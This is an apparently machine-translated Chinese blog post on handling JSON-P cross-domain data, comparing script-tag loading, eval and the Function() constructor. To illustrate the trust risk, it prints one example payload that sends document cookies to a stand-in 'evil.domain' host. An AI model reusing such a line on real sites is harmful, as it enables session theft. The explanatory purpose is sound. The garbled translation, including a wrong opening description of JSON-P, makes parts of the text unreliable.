JSON-P一款标准的JSON Java API数据交换格式,最近的数据显示,CORS的使用量远远大于JSON-P,但是仍然有相当多的用户使用JSON-P服务的API,它仍然是跨域Ajax请求的一个重要组成部分。
假如你收到(通过任何手段:AJAX,无论何种)一串JSON-P数据(例如:foo({"id":42}))你想提取的JSON数据在应用程序中使用。
经典版JSON-P处理最常见的方法是直接负载JSON-P数据到一个外部<script>元(假设得到的数据直接通过一个URL可能):
var s = document.createElement( "script" ); s.src = "http://some.api.url/?callback=foo&data=whatever"; document.head.appendChild( s );假设foo({"id":42})来自这样一个URL的回调,并有一个全局的foo(..)函数被调用,它当然会收到{"id":42}JSON数据包。
有数百种不同的JS库/框架存在这样的JSON-P处理自动化。我写的jxhr年前,作为一个简单的,我们甚至可以构建一个XHR像这样JSON-P调用接口,它看起来像:
var x = new jXHR(); x.onreadystatechange = function(data) { if (x.readyState == 4) { console.log( data.id ); // 42 } }; x.open( "GET", "http://some.api.url/?callback=?&data=whatever" ); x.send(); JSON-P的问题有与JSON-P处理经典方法的若干问题。
第一个最明显的问题是,你必须有一个全局的foo(..)函数声明。有些人(和一些JSON-P API)允许像bar.foo(..)作为回调,但这并不总是允许的,即使bar是一个全局变量(命名空间)。为JS和Web走向ES6功能模块,和重强调全局变量/函数,必须以一个全局变量/函数赶进JSON-P数据的想法变得非常缺乏吸引力的电话。
总的来说,jxhr自动生成功能独特的名字(如:jXHR.cb123(..))用于传递JSON-P API调用的目的,使您的代码不需要处理的细节。因为已经有一个jxhr命名空间,这是一点点地接受jxhr埋在命名空间的功能。
但是,如果有一个清洁的方式就好了(SANS图书馆)没有这样的全局变量/函数处理JSON-P。更多的时候。
另一个问题是,如果你要制作版JSON-P API调用很多,你要不断地创造和DOM添加新的<script>元素,它很快会弄乱DOM。
当然,大多数JSON-P公用事件(包括jxhr)被清理后,<script>会自动的从DOM中删除。但这是不完全的问题,一个纯粹的回答,因为这将创建和扔掉的DOM元素的地段,和DOM操作总是慢的,有大量的内存开销。
最后,长期存在在版JSON-P /信任安全问题。因为JSON-P基本上是随机的JS,任何恶意的JS代码可以被注入。
例如,如果一个版JSON-P API调用返回:
foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;正如你所看到的,额外的JS载荷并不是我们一般要允许。
json-p.org存在的目的是定义一个安全的JSON-P子集,以及允许您验证工具(尽可能)你的JSON-P包是“安全”的执行。
但你不能运行在这个返回值的任何这样的验证,如果你有它的负载直接进入<脚本>元素
所以,让我们看看一些替代品。
脚本注入首先,如果你有JSON-P内容加载为string的值(如通过Ajax调用,如从同一个域名服务器端Ajax代理,等等),你可以在评估其价值的过程:
var jsonp = ".."; // first, do some parsing, regex filtering, or other sorts of // whitelist checks against the `jsonp` value to see if it's // "safe" // now, run it: var s = document.createElement( "script" ); s.text = jsonp; document.head.appendChild( s );在这里,我们使用“脚本注入“跑版JSON-P代码(有机会检查它在任何我们想要的方式后)通过设置为text一种注射<script>元素(如反对设置API的URLsrc同上)。
当然,这还需要全局变量/函数来处理JSON-P函数调用的缺点,它仍然会通过额外的<script>这带来的开销元素。
另一个问题是<script>评估没有优雅的错误处理,因为你没有机会使用try..catch在它的周围,例如(除非你修改版JSON-P本身的价值!)。
另一个缺点是依靠<script>元素是这只能在浏览器。如果你需要运行在一个浏览器代码,像Node.js(如你的节点编码消耗一些其他JSON-P API),你将无法使用<script>处理它。
所以我们的其他选择是什么(的)?
直接评价你可能会问:为什么我们不能只是做eval(jsonp)评估版JSON-P代码?当然,我们可以,但有很多缺点。
主要对引关注eval(..)通常是不受信任的代码执行但这些问题悬而未决,因为我们已经解决了JSON-P 可能是恶意的,我们已经考虑到的机会去检查/滤波器在某些方面的价值,如果可能的话。
真正的原因,你不想用eval(..)是一个JS一。由于各种原因,仅仅是存在的eval(..)在你的代码中禁用的各种词法范围的优化,通常会加快您的代码。所以,换句话说,eval(..)让你的代码更慢。你应该从不,曾经使用eval(..)期。
但还有另一种选择没有坏处。我们可以使用Function(..)构造函数。它不仅允许直接评价无<script>(所以它会在节点。JS工作),但它也同时解决了全局变量/函数的烦恼!
这是怎么做的:
var jsonp = ".."; // parse/filter `jsonp`'s value if necessary // wrap the JSON-P in a dynamically-defined function var f = new Function( "foo", jsonp ); // `f` is now basically: // function f(foo) { // foo({"id":42}); // } // now, provide a non-global `foo()` to extract the JSON f( function(json){ console.log( json.id ); // 42 } )所以,new Function( "foo", "foo({\"id\":42})" ) 构建了 function(foo){ foo({"id":42}) }我们称之为 f。
你看到那里发生了什么?JSON-P电话foo(..),但foo(..)甚至不需要整体存在了。我们注入的地方(非全局)参数名的函数foo通过调用f( function(json){ .. } ),和JSON-P运行时,它是不明智的!
所以:
这是一个相当大的胜利<script>!
概要Function(..)评价完美吗?当然不是。但它是更好和更强大的比经典方法,常见的有JSON-P。
所以,如果你还在使用JSON-P API调用,机会是很多的你,你可能要重新考虑你如何消费他们。在许多情况下,旧的<script>方法属于短期的真正的潜能。
本文系作者 问说网 授权问说网发表,并经问说网编辑,转载请注明出处和 本文链接。
0 0
交流:问说网设计交流群:12043441(快速加入),与众多设计师交流设计,分享素材。
设计微博:@问说网 欢迎关注获取网页设计资源、下载顶尖设计素材。
问说网
文江,问说网()站长,关注网页设计,互联网动态,淘宝电商